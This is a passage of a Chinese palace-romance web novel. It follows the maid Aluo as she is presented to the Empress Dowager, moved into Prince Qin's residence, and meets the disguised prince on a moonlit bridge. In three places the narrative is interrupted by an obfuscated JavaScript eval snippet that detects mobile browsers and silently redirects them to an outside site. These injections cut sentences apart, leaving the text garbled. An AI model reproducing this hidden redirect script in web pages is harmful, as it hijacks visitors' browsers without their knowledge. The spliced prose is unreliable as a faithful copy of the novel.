是啊，太可怕了。阿罗也不能理解。这顿早膳，她一个人吃了三只肉包，饭后银杏看她的眼神都散发着光芒。 许是因为终于找到志同道合之人的缘故，接下来一整日银杏像黏在她身上了似的，就没让她的耳根子清静过，阿罗被迫听了一大堆有的没的。 银杏比阿罗小半岁，刚过了十六的生辰。家贫，爷娘养不起她这张能吃的嘴，所以使了些钱把她送进尚食局，因为貌美丰腴被尚食看中推到内侍省参选，误打误撞进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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辛嬷嬷道不会，“秦王初经人事难免莽撞，故而才需要各位小娘子悉心引导。以后秦王与王妃能否床事和谐，端要看诸位本事了。” 引导皇子通晓人事，为日后娶妃做准备，这是历来晓事宫女的唯一职责，择选前就知道了，是以除阿罗外没有人因为这件事失落，顶多是暗暗羡慕一下未来的王妃。 阿罗呢，早知要做这种事，哪怕月钱百两她也不会来。是她自己走错了路，怨不了人，一切还是向前看吧。 小小难过一下，很快调整好心情，继续听辛嬷嬷讲。 “咱们官家育有三子，秦王是其中武艺最好的，日后走的大概也是武将路子。武将不同于文臣，打小身子骨结实，于床事而言，好，也不好。” 覃秋月两颊泛红：“此话怎讲？有劳嬷嬷指点。” 辛嬷嬷哈哈一笑，“待小娘子服侍过秦王就晓得了。只一点小娘子们切记，倘若秦王磨人磨得厉害，以至于诸位难以支撑，务要适时劝谏让秦王以贵体为重。能就此歇下最好，若不能，大可换人继续侍奉。秦王的感受固然重要，可小娘子们自己的身体也不应随意损坏。其中分寸，还需诸位自行把握。” 银杏两眼一翻大呼“辛苦”，嬷嬷年纪大了，看谁都和蔼，“小娘子先别着急喊累，遇上个床榻间磨人的男子，总比遇上那些弹指功夫了事的强。小娘子们未经人事想必不懂，老身私底下跟你们说句掏心窝子的话，单瞧秦王那副魁梧身板就差不了，跟了这样的男子，各位小娘子就等着享福吧。” 一句话了，覃秋月低着头，耳朵都红了。银杏呢，天塌地陷似的，罕见地沉默了。至于尹花瓷，无波无澜，仿佛秦王磨不磨人跟她毫不相干。 阿罗坐在最后，寒风溜进门缝，直把一颗心吹凉半截。 但愿“大人”说的“秦王不会强迫人”不是说出来骗她的，秦王身板魁梧固然好，可她这副小身板却是经不起折腾。 她好不容易活到现在，要是因为这事死在床榻上，那可真是太不值了！ 第二日仍是对着图册学习，阿罗怎么也想不到，同一件事竟会有如此多种羞人的姿势，看得四人面红耳赤，翻两页就要抬眼缓缓。不时也会看得皱了眉，银杏口无遮拦嘟囔着：“两脚踩背，难度很高啊，真能踩得到吗？” 谁也不知道，知道也不好说，辛嬷嬷还是那句话：“小娘子们日后就知道了。” 待到第三日，阿罗起了个大早，李尚宫昨夜千叮咛万嘱咐，今日是面见皇后的日子，兴许会碰见秦王，叫她们打扮得漂亮些做好准备。 14. 秦王 面见皇后是大事，衣裳都是尚服局按照四人的特点提前备好的，不同的款式，不同的色彩，各有千秋。 反复强调好规矩，巳时初，李尚宫领着四人往含凉殿去，半路遇见传话的宫女，说是太后召见，皇后已经去了，叫四人一同去承庆殿拜见。 连同李尚宫，五个人的心咻一下提起来，又是好一通叮嘱，才趋步往承庆殿赶。 刚拐过影壁，一声朗笑直贯入耳，中气十足，“皇后啊，哀家真是喜欢这个孩子，每天有她陪着说笑都觉得自个儿年轻了不少，瞧着跟三郎很是相配啊！” 五人立在殿前的空地上等人通传，银杏扯扯阿罗袖子，嘀咕道：“今儿撞的什么大运，连秦王妃都一同见了。” 李尚宫偏头，蹙着眉斥道：“哪儿来的秦王妃？慎言！” 银杏吓得缩头闭嘴，刚好有宫女打帘叫她们进去，便听皇后的声音传来：“郑小娘子心灵手巧，儿媳也喜欢的很，只怕是老三那只皮猴子配不上这样优秀的小娘子。说起老三，年纪也不小了，官家有意叫他年后出宫开府去。到时郑小娘子入了秦王府，怕是就不能如现在一般日日入宫陪伴母后了。” 太后也不是傻的，听出皇后话里的意思，当即冷了脸，郑居棱见状忙半跪在侧哄道：“臣女也很仰慕秦王，可臣女还是更喜欢陪伴太后。秦王目下尚在宫中，臣女也可以偶尔见他几次，如此便很心满意足了。” 常常见面，感情自然而然就有了。 “哎……还是你懂事。”太后话有所指，池舒然全当听不懂，调转话头，“母后，这是儿媳给老三选的晓事宫女，赶巧今儿叫来一起给母后瞧瞧。” 太后随意瞥了眼，“你个当娘的，选的自然最好，叫她们好生伺候三郎就是。但要是谁敢狐媚惑主，哀家决不轻饶！” 祖母疼幺孙，什么都想给他最好的，既不想叫他缺了人伺候，又想给他聘一位出身显赫的如花美眷。 怕郑居棱介意，又拍拍她的手，“居棱莫要介怀，有哀家在，绝不会叫你进门就做嫡母。” 池舒然默默在心里翻了个大白眼，心道既然有此打算又干嘛要逼着她给老三择选晓事宫女，害得他们差点母子离心！ 四人在李尚宫的引导下逐个上前拜见，覃秋月温婉，尹花瓷娇艳，银杏明媚，美得各有不同。池舒然很是满意，对李尚宫称赞一句“有心了”。 阿罗排在最后，到她时，池舒然借机好生打量一番。 小娘子天生丽质，奈何人有些瘦，姿色便减弱三分。玉涡色的卷草纹夹棉半臂勾勒出单薄脊背，浅浅的灰紫调，里头衬着月白交领襦衫，领缘绣了疏疏的几茎银线兰草。下系霜色百褶长裙，腰间系着一条藕荷丝绦，通身淡雅，把小娘子身上该有的活泼劲儿压下去了一些，显得有些木讷。 看完，池舒然开始怀疑自己，莫非她跟燕昴当真猜错了？老三怎么看也不像是个会喜欢这一类小娘子的人。 有太后在不好多问，免得另生事端，池舒然简单叮嘱几句，发了赏钱叫李尚宫带她们出去。 郑居棱想跟着一同告退，太后拉住她：“哀家叫人去喊三郎了，一起用完午膳再走！” 殿外，来时晴朗的日空变得阴沉，阿罗低头走在最后，风刮在耳畔，掩盖了脚步声。银杏突然止步，阿罗跟着急停，险些撞到她，便听李尚宫稳声道：“见过太子殿下，见过秦王。” 阿罗不敢抬头，跟着屈膝行礼，视线中闯入衣袍一角，深酱色，绣云纹，不知是哪位皇子，站在她面前不挪动了。 一束目光落在身上，腿还软着，尚未落下去的心跳再度失序，呼啸的寒风仿佛瞬间静止了似的，唯有心跳声砰然。 打进宫起从未见过的贵人半个时辰内一下子见了大半，心脏真有点遭不住。 “这是给秦王择选的宫女？”燕珩问。 李尚宫答是，燕珩瞥一眼燕昼，见他单看着末尾的宫女发愣，等了片刻也不说话，便挥一挥手叫李尚宫带人先走。 “怎么，有中意的？”燕珩打趣。 燕昼从阿罗身上收回视线，“有个认识的，第一次见她穿这么漂亮的衣裳，一时惊讶多瞧两眼罢了。” 漂亮？燕珩回忆一番，没记错的话，末尾那人穿的最素，几乎快要跟昏暗的天色融为一体，远不如中间那个身穿海棠红的宫女扎眼。要不是燕昼直奔她去，他压根不会注意到她。 所以，怎么就一眼瞧见最不起眼的那个了呢？ 他若有所思看向幼弟，对方眼底一派澄明，那种情窦初开的男女该有的眷恋不舍统统没有。 莫非是他想多了？ 燕昼朝他拱手：“大哥，一会儿拜托你了。” 太后召见，郑家嫡女也在，想干什么不言而喻。 燕珩会心一笑，“放心，待说上几句话，我便斥责你偷奸耍滑不思进取，你借机跑就是。” 燕昼松了一口气，“大哥英明！” * 从承庆殿出来，李尚宫领着四人直奔少阳院。 俯瞰少阳院，就像一只展翅的雀鸟守卫东宫。入门是会客的前厅，秦王的澄晖堂位于鸟腹的位置，藏书阁在左，兵器库在右，形成鸟翼。再往后是杨柳绕湖，连接后院形成鸟尾。 湖面有石桥呈“卐”字形，湖心有石亭，湖岸泊着柳叶舟，处处皆是雅意，每走一步都颠覆着阿罗对于辛嬷嬷那句“秦王是个武将”的认知。 “娘子们的寝屋穿过这片湖就到了。”内侍怀信笑着引路，“咱们王爷喜静，是以安排的院子远了些。” 内侍怀仁乐呵着接话：“路虽远，但后院的精致却好，娘子们夏日里无事可以来划划船钓钓鱼，蛮有意思。冬天也有趣，湖水都冻结实了，踩上去溜冰没问题。” 踏上石桥，凌步于冰面，视野逐渐开阔。银杏左瞧瞧右看看，蹦到最前笑问：“你叫怀信，你叫怀仁，是不是还有叫怀义、怀礼、怀智的？” 怀仁一时嘴快道：“那倒没有，还有个叫怀唔！”话没说完就被怀信一把捂住嘴，替他解释道，“还有一人是王爷的贴身内侍，娘子们见了就晓得了。” 银杏撅了撅嘴，“神神秘秘。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17256383|197721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不知为何，阿罗想起“怀安”，难道他也是秦王的人？“大人”跟秦王如此相熟吗？ 正想着，一只狸奴“喵”得拦路在前，把覃秋月吓了一跳，险些跌下桥。 可惜阿罗还没看清呢，狸奴就被怀信按头抱进怀里，他看着阿罗，一张脸尬笑得快要抽筋了。 “呵呵呵，这……吓着覃娘子了，对不住，对不住……” 尹花瓷捂着胸口，“哪儿来的野猫乱窜！” 怀仁笑不出来了，“这是王爷养的狸奴，宝贝得很。你瞧，刚刚它差点掉湖里去，怀信吓得魂都丢了。是吧怀信？” 胳膊肘一撞怀信，怀信满头大汗应了声是。 覃秋月的薄怒僵在脸上，“秦王……喜欢狸奴？” 怀仁道：“是啊，夜夜抱着睡呢。” 阿罗抻着脖子，极力想要看清狸奴的模样，奈何怀信抱得太严实，只剩一根毛腿垂在外，白橘黑三道花色，很像她先前养过的那只。 怀信原路返回放猫去了，怀仁引着四人继续前行。 穿过一条花廊，道路左右分叉，一边一个小院，每院两间房，覃秋月跟尹花瓷住左边的槿园，银杏与阿罗住右边的葵园。 行囊早就送过来了，就放在桌上，阿罗走进自己的小屋，关好门，莫名有一种心安的感觉。 就像长途跋涉的旅人，暂时拥有了一处独属于自己、可以遮风挡雨的小屋。虽然不大，胜在自由，再也不用跟形形色色不相熟的人挤在一处了。 依旧是木板床，一个人睡有点大，两个人又有点挤。窗前还有一张红木窄榻，午后卧在这里，可以晒到融融的暖阳。 一架屏风相隔的地方还有一只浴桶，盛满水泡澡，肯定很舒服。 阿罗仰倒在榻，心想着秦王最好永远也别传唤她。住这样的屋子，每天吃了睡睡了吃，每月还有十两银可以领，简直不要太幸福！ 如果日后有机会能出宫就更好了。 阿罗想着想着，昏睡过去，一觉醒来廊下已经点了灯。 晚饭是鱼肚鸡肉炖的汤，还有白灼的虾与青菜，外加一只柑橘。阿罗习惯性留下半块胡饼，其余的饭菜全部吃完，一口汤都没剩，柑橘剥皮晾在阴暗处留着制香，果肉吃掉。 用完膳，肚子罕见有些撑，她在院子里兜圈消食，不一会儿，银杏也跑出来陪她一同走。 “阿罗姐，李尚宫说快的话今夜秦王就要点人侍奉，你说他会选谁？” 阿罗摇头，“我不知道。” “我猜他会选你。”银杏笃定，“今儿在承庆殿，秦王可是直接朝你去了，我壮着胆子偷偷抬眼瞧他，就发现他直勾勾盯着你瞧，眼神不大对，不对，是很不对！” 阿罗心里一慌，“你别乱猜，许是他正走神，恰巧就站我跟前了。” 毫无准备，毫无经验，也没有前例可循，她可不想第一个被点去侍奉秦王！ 话音刚落，就见雕成花瓶状的小门外踅进一道黑影。定睛一看，是内侍怀仁。 他笑眯了眼，“奴婢奉秦王之命传娘子侍寝——” 15. 召寝 银杏朝阿罗挤眉弄眼，阿罗仿佛被一道惊雷贯穿，两耳嗡鸣。怀仁瞄了眼阿罗木雕泥塑般的神情，心里默叹一声，老实道：“秦王召银杏娘子侍寝。” 银杏笑容满面：“我就说嘛，王爷今晚肯定……什么！你说什么？召谁？” 怀仁撑着笑：“召您。” 银杏两眼一翻，晕了。 一顿狠掐人中，银杏悠悠醒转，无可奈何收拾了些换洗衣裳，背上包袱，临别时拉着阿罗的手指头一寸寸放开，怀仁在旁看着，觉得她不像是要去承宠，反而像是要上断头台。 “娘子，快些吧，去了还要沐浴更衣，别叫王爷久等。” * 按照宫规，除正妻外，婢妾不得侍奉过夜，最晚三更天就要退出另行安置。 澄晖堂分为三层，三排房舍夹两个院子，俯瞰像个“王”字。最里一排是秦王寝殿与书房，中间一排被收拾出来，供侍寝宫女沐浴更衣外加夜里休憩所用，因形似走廊，便称作“廊舍”。 燕昼靠着窗，两手叉在狸奴腋下，举高，放下，再举高，来回数次，终于透过琉璃窗瞧见一道模糊的人影拐进廊舍。 怀安一直趴在门缝瞧，瞧见是银杏，瞬间耷拉了嘴角，进屋报信：“王爷，来的是银杏娘子。” 闻言，燕昼松了手，狸奴轻巧落地，灯火明明灭灭打在脸上，叫人看不清神情，“哦……知道了。” 狸奴扒拉着袍角要他抱，燕昼却看着琉璃窗魂游天外。 “王爷。”怀仁硬着头皮进来禀报，“奴婢瞧着罗娘子不太想来，所以……” 传召前，燕昼说叫他想个法子试一试，看罗娘子是否愿意前来，倘若不愿，就叫银杏娘子。 但结果很让人失望，两个娘子貌似一个也不愿来，反倒是覃娘子早早儿就在门口候着了。 燕昼释然得很快，“早晚得来，不急于一时。” 说话间，眉头那点落寞被漏进来的寒风吹散，重又变得明朗起来。 他走到书桌后坐好，容禄动作快，四名晓事宫女的家世背景都已调查的一清二楚，摆在案头的密封纸袋早已被拆开。 怀仁瞧着那端坐案牍之后的挺拔背影，不像是即将要与美丽女郎春风一度，更像是要舌战群儒大辩四天四夜不死不休。 等了约有半个时辰，屋外传来声音，“王、王爷……奴婢准、准备好了！” 燕昼眼皮掀都没掀，语声更是平平：“怀仁，带她去议事厅。” * 第二日正午。 花廊串连起葵园与槿园，廊下设有石桌石凳供人小憩。 眼下阿罗正与覃秋月、尹花瓷围坐，阿罗本是在屋里读书读得好好儿的，就被尹花瓷不容分说拉过来，说什么要迎一迎这位占了首份恩宠的银杏娘子。 按照尹花瓷的说法，人呢，总是对第一次念念不忘。银杏承了首份恩宠，占尽先机，必会在秦王心头占据一席之地。之后只需再稍稍努把劲儿，孺人之位唾手可得。 阿罗看出来了，尹花瓷对银杏第一个侍寝很是在意，毕竟当初择选，银杏排名第三，说什么也不该一跃成为第一。 至于原本排位第一外加官员之女、对秦王一见倾心的覃秋月……她是个内敛的人，话都憋在心里，但从她泛红的眼眶以及眼底的乌青来看，昨夜估计没睡好。毕竟自己喜欢的郎君与别的小娘子共赴巫山云雨，换谁谁睡得着呢？ 尹花瓷斜一眼阿罗：“你怎么不说话？费尽心机把自己塞进少阳院，还以为你有多在意秦王呢。” 床榻松软暖和，阿罗一夜好眠，气色极佳，连带着心情也不错。她捏了块糕点吃，没接尹花瓷的话。多说多错，指不定哪句话里就挖了坑，只要不说就不会错，她向来信奉这个。 “你就是个没钢火的贱骨头！”尹花瓷骂道。 阿罗蹙眉：“尹姐姐慎言，你我同为秦王的婢女，我是贱骨头，你是什么？” “你！”尹花瓷两眼冒火，覃秋月忙把她拉住，“行了，你们都少说两句吧，都快用午膳了，银杏阿妹怎么还未回来？” 虽然是问句，答案彼此心里都清楚。无非是讨了秦王欢心，被留下婉转承宠罢了。 阿罗嚼着糕点，皮薄透亮，枣泥的，表面印着粉色的花，很像“大人”在车上给她吃的那个。 这么巧，秦王也有。 “回来了！”尹花瓷喊叫一声，只见有个亮橘色身影披着金阳步步登上石阶，待走近了，大家俱是一骇。 银杏的两只眼睛眼皮肿得老高，金鱼似的，领口遮不住的雪肤露着青紫。 尹花瓷撸起袖子一瞧，胳膊上更多，像是硬生生叫人掐出来的。 阿罗心头一坠，善武之人在床榻间都这么凶吗？ 银杏不太自在，放下袖筒，叉手告了声罪，“昨儿睡得晚，我实在是累得慌，得去补眠，姐姐们有话赶明儿再问吧。” 说完，提起裙子就跑，怀仁跟在后头笑着行了个礼，“王爷今晚召尹娘子侍奉，娘子早些做好准备。” 这一夜，阿罗睡梦里全是被秦王暴虐的惨象，她浑身青紫，缩在床角，叫天天不应，叫地地不灵，哭声淹没在秦王的打骂声里，无休无止。 * 一晚没睡好，翌日一早起身时不免有些头重脚轻。 晕乎乎地用过早膳，银杏就拉着阿罗去花廊等，说是不能厚此薄彼，她有的迎接待遇尹花瓷也不能少，如此方能体现出四人“和睦如亲姐妹”。 阿罗心道，你就是想八卦。 冬日天亮的晚，熹微晨光中，覃秋月如一片枯落的秋叶。听到脚步声，她回头一瞧，取了帕子蘸一蘸眼角，“两位妹妹来了，快坐。” “秋月姐姐来得更早！”银杏欢天喜地坐下，没察觉覃秋月的异样，自顾自说道，“昨儿这个时辰王爷差不多起身了，我估摸着花瓷姐姐也快回来了吧。” 覃秋月恍惚了下，强撑起精神问：“王爷既然起得这样早，你却为何回来的那样晚？” 银杏吐了吐舌头，“辛嬷嬷瞧我一身的青紫，细细盘问了我半天，所以回来晚了。” 辛嬷嬷是皇后的人，跟着她们从尚宫局到少阳院，专司侍寝一事。 至于究竟为何会一身青紫，银杏没继续说，也不好问。 覃秋月轻轻“哦”了声，没再说话。 日头升起来了，天光大亮，花廊石柱枯藤盘绕，筛落一地碎影。尹花瓷便在这时归来，脚步轻盈，面色红润，海棠红的夹袄将少女的那一抹娇羞衬托得恰到好处。 阿罗细细观察，尹花瓷露出的皮肤没有破皮的地方，青紫红痕什么都没有，反而较昨日水嫩了三分，像是被什么滋养了似的。 奇怪。 尹花瓷下巴一扬：“王爷不愧是人中龙凤，样样都好得没话说！” 银杏点头附和：“王爷长得确实好，那眉毛那眼睛，真真是赏心悦目。你们说明明大家都是人，怎么我家里的阿兄阿弟长得就像歪瓜裂枣呢？” 尹花瓷一撩耳畔碎发，“王爷赏的，漂亮吗？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265704|197721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珍珠小巧，荡在耳下，说不出的活泼灵动。 大家都说好看，怀仁却是吓了一跳，看了眼阿罗后解释道：“是皇后殿下的赏赐，各位娘子都有。” 也就是说不是秦王特意赏的了。尹花瓷扁扁嘴，嫌他解释这么多干嘛。 覃秋月忍不住问：“王爷可有说今夜召谁侍奉？” 怀仁摇头，“祁王今日回京，皇后殿下在含凉殿备了家宴为祁王接风洗尘。王爷叫奴婢转达各位娘子，今夜不必等候侍寝，大可在宫中四处走走看看。” 阿罗惊讶道：“意思是可以出少阳院吗？” 怀仁点头，“只许今夜，各位娘子小心些，莫要冲撞了贵人便是。” 在掖庭时好歹还能四处走走，偶尔出个宫感受下人世烟火。可自打进了少阳院，阿罗感觉自己就像是被关进了一个更小的笼子，怕她们与侍卫私通便严令不准出少阳院的大门，这跟坐牢有什么区别！ 终于有个机会能出去透口气，阿罗想也没想，用过晚膳，趁银杏没察觉，偷偷溜了出去。 比起好友相伴，这么多年来她更喜欢独来独往。 却没看见，一条尾巴悄悄跟在身后。 是秦王的侍卫，容福。 * 出了少阳院，沿着笔直甬道一路向西便是掖庭，中间隔着太极宫。 路上有在太极宫内侍奉的小宫女小内侍结伴路过，阿罗贴着墙走，细碎的交谈声间或飘入耳中。 春华宫的段宝林病的很重，太医诊脉后说时日无多，神智都有些不清醒了，口中却喃喃着想再见官家一面。 太后宫中又多了两只陇鸟儿①，是郑小娘子送进宫来给太后解闷的，太后甚是喜欢。 祁王妃下个月临盆，太医令诊脉后说是个小郎君，皇后跟官家开玩笑，说“燕家捅了儿子窝，也不知何时才能盼来一位小女郎”。 官家育有三子，太子膝下育有两名嫡子一名庶子，祁王的嫡长子也即将降生。 一路走来听了不少琐碎事儿，晚风吹着，毛绒领子挡去大半寒冷，弯月挂在墙头，青砖铺满银霜，她跳跃着、迈开大步向前走，追逐着自己的影子。 “你听说了没？今晚含凉殿杖毙了一个宫女。” 两个粉衣宫女毫不避讳谈论着。 “杖毙？这是犯了什么大错？” “听说是手没端稳，热汤全泼秦王身上了。” “天呐天呐，这得烫成什么样？伤了秦王贵体，难怪要杖毙。” 阿罗想起孙友德泼在她手背的滚烫茶汤，疼了好几日，碰都碰不得，就这样她也没落下浣洗衣裳。 仅仅是被烫伤就要让宫女偿命吗？ 伴君如伴虎，所言果然有理。她日后在秦王身边侍奉，可得打起十二万分的精神来才行。 亏她这两日还怀疑“大人”是不是就是秦王呢，这么一看，两人根本不像。大人那样好的心肠，怎么会随随便便打杀人！ 再往前，就是她往日里爱去念书的月牙湖了。 冰湖圆月很是好看，可惜以前匆匆忙忙，从没有好好静心看过一次，眼下不慌不忙，正是好时机！ 阿罗兴冲冲往石桥去，那里景色最美。一边走，一边用脚踢开落叶，捡了几颗柏子②。柏子只有单个指节大小，不一会儿阿罗就捡了满满一荷包。 前方就是石桥了，深蓝的景，月白的桥，赏心悦目。 谁知，刚踏上桥面，就看见一人身披玄色大氅、支腿斜坐桥头，单手拎着一坛酒，悠悠朝她看来。 16. 触碰 夜幕深浓，明月高悬，燕昼扬唇一笑，有流光在黑眸中漾过。 “罗小娘子，这么巧，又遇到你了。” 阿罗揉揉眼。 没看错，竟然真的是大人！这么晚了他怎么还在宫里？是官家召见吗？怎么还喝上酒了？ 一连串的问题让她觉得不对劲，但秦王眼下应当还在含凉殿陪皇后用膳，更不可能在这儿独自饮酒。 哎呀呀，想不明白。 索性放过自己。 她立在原地左右瞅了瞅，林子距离石桥约有百步远，天黑，藏在林子里往桥上看根本看不清脸，不必担心有人认出她来跑去少阳院告发她与外男私通。 燕昼瞧她一副谨慎样，不由失笑，“怎么，难不成几日不见我变成青面獠牙的恶鬼，吓得你不敢上前了？” 阿罗说不是，快步走上前，停在距离燕昼三步远的位置。 “奴婢眼下是秦王的人，跟大人私底下见面不合规矩，小心些总没错。” 燕昼道：“跟你说说话而已，秦王没那么小气。” 阿罗一脸严肃：“大人，话可不能这么说。王爷心胸宽广，却挡不住小人添油加醋。奴婢人微言轻还是谨慎些为好，总不能哪天稀里糊涂把小命给丢了。” 深宫生存不易，作为秦王的晓事宫女，她确实不该见他。是他欠考虑了。 燕昼烦闷地撅了撅嘴。 “秦王允奴婢出来走走，这里景色漂亮，奴婢就想着过来瞧瞧，大人也来赏月吗？” 十五的月，又圆又亮。此处空旷，极适合赏月。 燕昼“嗯”了声，鼻音很重，大约是染了醉意的缘故，那双眸子朦朦胧胧，所有的情绪深埋眼底，连同他这个人都有些叫人看不明白。 “我记得少阳院也有一片湖，小娘子为何要舍近求远？” 今晚的大人似乎心情不太好，阿罗站着回话：“南橘北枳，少阳院的月与这里的月自然也会不同。” 燕昼敏锐地察觉了话中的那点遗憾，“被困在少阳院，不开心？” 这不是废话嘛！阿罗没有立刻回答，垂着脑袋想了会儿，缓缓摇头，“是奴婢自己没打听清楚，怨不得旁人。事已至此，走一步看一步吧。” 倒是看得开。她立在那儿，瘦弱却挺拔，宛如劲风之中不曾倒伏的苇秆。 燕昼往左挪出个空位，右手一拍石阶，“陪我坐会儿吧。”想了想，又道，“秦王与我极为相熟，倘若真出了事，我同他解释，你不必担心这个。” 大人说到做到，这一点阿罗很放心。 也许是最后一次见面了，她也想陪他多说会儿话。 没有推辞，两腿并拢坐下来，是他刚刚坐过的地方，还残留着他温热的体温。 酒坛子只有手掌大小，燕昼握紧坛身灌了一小口，氅衣压在肩头，领缘、对襟与袖口缝着一掌宽的狐裘，通身玄色，如黑夜般重压，与先前白日里那个灼灼如朗日的大人，相同，也不同。大概是和煦之外，多了几分威势与锋芒。 “最近还在看书吗？”燕昼问。 阿罗点头，“还在看，只是很多地方看不懂。” “背的出来吗？可以的话背给我听听。” 这是要为她解惑的意思吗？阿罗的思绪卡了一下，嘴巴先脑子一步说道：“奴婢背不过，但奴婢都抄下来了。” 不光抄下来了，还随身携带。 燕昼看她手忙脚乱翻着荷包，几颗柏子掉落，咕噜噜滚到他的六合靴边。 这位小娘子真是个妙人。 送金叶，被拒绝。朱雀大街上想捎她一程，依然被拒绝。唯有“答疑解惑”这一项上，她跟他是毫不客气，大有豁上脸皮也要刨根问底的劲儿。 看得出来，她很喜欢读书了。 脸大的麻纸折了四折，借着月光，燕昼勉强看清上头密密麻麻的字。 她大抵是头一次握笔拿捏不好分寸，字体大小不一，笔触软弱无力，虫爬似的，有些地方墨水晕染，好几个字糊成一团，看得人眼痛。 燕昼揉了揉被丑到酸胀的眼，将麻纸叠好收在怀中，“容我拿回去看吧，看完写好答案再送去少阳院转交给你。” 真是意外之喜，她原本还愁记不住呢，这下可好，白纸黑字写下来，多多温习，必然可以看懂、吃透。 “那就多谢大人了！”阿罗心潮澎湃。明明湖边寒冷更甚，可她的脸犹如火烤般，热烘烘的。忽地，她想到了什么，“大人送去少阳院，秦王不会误会您吧？” 要是秦王误会大人跟她有些什么，她死不死另说，害得大人获罪就不好了。 燕昼看她再度如临大敌，蹙了蹙眉，“你很怕秦王吗？” 阿罗说算不上，“与其说奴婢怕秦王，不如说奴婢怕犯错。秦王是奴婢的上峰，这世上哪个人不怕自己上峰呢？奴婢的小命和月钱可都捏在他手里呐！” 小命跟月钱划等号，看得出来她很爱钱。燕昼心想。倘若她知晓他便是秦王，她还会如现在般跟他谈笑自若吗？ 她……会害怕他吗？ 阿罗捏捏衣角，“实不相瞒，奴婢至今尚未见过秦王呢。” 燕昼心说其实你早见过了，嘴上却道：“那你说说看，仅凭道听途说，秦王在你眼里是个什么样的人？侍宠生娇？残暴？冷酷？” 阿罗头摇成拨浪鼓，“奴婢不敢妄议秦王。” “准你妄议。出了事，我替你担着。” 阿罗觑了眼他的眼睛，很认真的神情，应该是糊弄不过去。 “那奴婢可实话实说了。大人，您别骗奴婢，奴婢胆子小，惜命，不想惹麻烦。” 燕昼竖起三指，“要不我给你发个誓？” 阿罗忙去按他的手，“奴婢信大人就是了，大人怎能随意发誓。” 女子的手纤细瘦小，堪堪握住他的半个掌心，阿罗反应过来失礼时，男子炽热的体温已沿着指尖蔓延至耳梢，两人都不禁烫红了耳朵。 阿罗迅速缩回手，弹起身，弯腰叉手举过脑袋道：“奴婢失礼，还请大人责罚。” 右手还保持着发誓的姿势，各路感官仍在回味着方才那轻柔一触的玉凉。 燕昼顿了片刻，收回手，掩饰尴尬似的咳了一声，“不妨事，随便些就好，我这人不喜欢拘束。” 他又拍拍石阶，“坐吧坐吧，你还没回答我的问题呢。” 阿罗慢吞吞挪过去，斜侧着身子坐好，他说可以随便，她可不能当真，刚刚怎么就一时高兴上头失了分寸呢？ 她想捶自己两拳头。 “奴婢觉得秦王——” 燕昼不知道自己为什么要屏住呼吸。 “勤奋。” 燕昼：？ “刻苦。” 燕昼：？？ “好学！” 燕昼：？？！ “没了。”阿罗长长吐出一口气。 燕昼消化了许久许久，终是吐出一圈白雾，“罗小娘子，说好了实话实说的。” 阿罗无辜道：“奴婢说的都是实话啊，您说的都是外界传闻，真假奴婢不知道，但奴婢眼里的秦王就是这个样子。勤奋，刻苦，好学。” 燕昼怀疑她是不是认错人了，试问这三个词哪个跟他沾一点边？ “何以见得？” 字条的事涉及秦王衣裳，阿罗不敢让他知道，于是胡诌了个说法：“太子殿下与祁王是秦王一母同胞的亲兄弟，两位兄长都人品贵重，定是官家与皇后殿下教导有方，想来秦王也大差不差，奴婢由此推断。外界传闻多有夸大，听一耳朵就是，不能当真。” 倒是个有主见的。宁可相信自己毫无根据的推理，也不轻信道听途说。 燕昼自嘲一笑，“若我告诉你，他读书读得一塌糊涂，你还会这般说吗？或许，他就是一个懒惰、愚笨、投机取巧的小人。” 阿罗张了张口，有什么东西卡在喉咙里，上不去下不来。 燕昼的目光游移在那张完全陷入震惊的面孔上，淡然一笑，视线收回，仰头灌了口酒。 二哥回京，饭桌上难免说起他岁考的事情。简简单单的文章，大哥二哥一学就会的东西，没有人能理 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试图从那双眼睛里看出点虚情假意，看出点巴结讨好，看出点阿谀奉承。可是没有。她的眼睛，如山间一泓清泉，月光凝成一豆星点落入其中，熠熠生辉。 是个很真诚的小娘子。 他听见自己的呼吸声，逐渐粗重。 阿罗意识到自己兴许又说错话了，头皮一炸，又要起身谢罪，被燕昼一把拉住手腕按在原地。 “你没说错，不用谢罪。”酒气上头，是他钻牛角尖了。 酒坛口朝阿罗一点，“心情不好，火气大了点，我的不是。” 说完，剩下的半坛酒被他一口闷了。 今晚在阿娘宫里用膳，饭桌上还谈起郑家嫡女，太后有意让他求娶。郑家是世家之首，树大根深。发展到如今，皇家要么拉拢，要么根除。而后者，又谈何容易。 身为皇子，他不得不承担一些东西，这令他很头疼。 专情一人与铲除郑家。 鱼与熊掌，他想兼得。 真是贪心呐！ “咳——”呛了一口。 阿罗不敢冒犯拍他的脊背，只能提醒：“您慢点儿喝。” 上等的剑南烧春，一路辣到小腹，心里痛快不少。他回身取来另一坛，拔开坛盖，又要喝，忽地对上那双水灵乌眸，鬼使神差道：“你想喝吗？” 阿罗道：“奴婢没喝过酒。” 